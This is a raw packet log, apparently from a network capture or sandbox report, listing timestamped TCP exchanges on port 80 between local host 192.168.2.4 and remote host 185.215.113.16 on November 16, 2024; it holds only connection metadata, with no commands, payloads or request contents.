Nov 16, 2024 20:12:34.849298954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.849349022 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.849486113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849551916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849562883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849574089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849684000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.850042105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.850075006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.850110054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.850136995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.850146055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.850179911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.850202084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.850214005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.850265980 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.889842987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.889877081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.889910936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.889934063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.889944077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.889978886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.890001059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.931665897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.931977034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.932050943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.932271004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.935823917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.935874939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.935911894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.935924053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972361088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972398043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972429037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972472906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972507954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972524881 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972541094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972572088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972584963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972620964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972656012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972666979 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972691059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972728968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972732067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972862959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.972961903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.972964048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973001003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973047018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.973086119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973119020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973153114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973162889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.973484993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973514080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.973536968 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.011585951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011679888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011730909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.011742115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011780024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011807919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.011812925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011856079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.011866093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011899948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011938095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.011941910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.011969090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.012005091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.012008905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.056638956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.059370995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.059413910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.059431076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.059494972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.095985889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096071005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096075058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.096127033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096163988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096185923 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.096267939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096306086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096322060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.096357107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096394062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096411943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.096493006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096541882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096574068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.096575975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096610069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096618891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.096648932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.096694946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.097044945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.097115040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.097209930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.133702040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133774996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133815050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133827925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.133850098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133884907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133898973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.133918047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133953094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.133961916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.133985996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.134020090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.134026051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.134057999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.134102106 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.181236982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.181261063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.181277990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.181303978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.217924118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.217957020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.217988014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.218009949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218043089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218065023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.218076944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218117952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.218240976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218274117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218308926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218332052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.218343019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218400955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.218600035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218677998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218713999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218729973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.218749046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218781948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.218795061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.255429029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.255521059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.255552053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.255577087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.255611897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.255626917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.255649090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.255683899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.255700111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.257622957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.257647038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.257663965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.257673025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.257679939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.257698059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.257705927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.257745028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.299712896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.299812078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.299850941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.299865007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.302794933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.302845955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.302848101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.302881956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.302927971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.339648962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.339747906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.339778900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.339807987 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.339829922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.339863062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.339884996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.339895964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.339936018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.340101004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.340151072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.340184927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.340193033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.340217113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.340250969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.340271950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.376789093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.376822948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.376848936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.376857996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.376895905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.376909971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.376945972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.376979113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.376990080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.377011061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377048016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377058983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.377512932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377546072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377572060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.377578974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377621889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.377835989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377867937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377899885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.377911091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.421330929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.421380997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.421395063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.421420097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.421482086 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.424525023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.424606085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.424700975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.424720049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.424731016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.424778938 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.461355925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461401939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461416960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461443901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461460114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461472034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.461477041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461509943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.461533070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.461843967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461859941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461884022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461899042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461905956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.461915016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.461936951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.498960972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499005079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499028921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499044895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499080896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499092102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499115944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499150038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499156952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499183893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499217987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499228954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499253035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499290943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499293089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499737978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499773979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499790907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499810934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499861002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.499882936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499934912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499968052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.499989033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.541023016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.543195009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.543241978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.543277979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.543293953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.546255112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.546284914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.546300888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.546452045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.546479940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.546495914 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.587980032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.607233047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607281923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607326031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.607343912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607386112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607429028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.607439995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607475042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607508898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607517958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.607542992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607578039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607587099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.607614040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.607655048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.621766090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.621810913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.621865034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.621866941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.621902943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.621936083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.621951103 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.621970892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622004032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622013092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.622039080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622072935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622081995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.622111082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622158051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.622685909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622741938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622782946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622795105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.622829914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622865915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.622879028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.622987986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.623034000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.623076916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.665532112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.665597916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.665615082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.665640116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.665671110 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.668636084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.668652058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.668667078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.668725967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.728737116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.728857994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.728893995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.728926897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.728945017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.728962898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.728975058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.728996038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.729031086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.729043961 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.729080915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.729116917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.729139090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.729146957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.729182005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.729192019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.743799925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.743880987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.743884087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.743918896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.743952990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.743967056 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.743988991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744023085 CET	80	49744	185.215.113.16	192.168.2.4
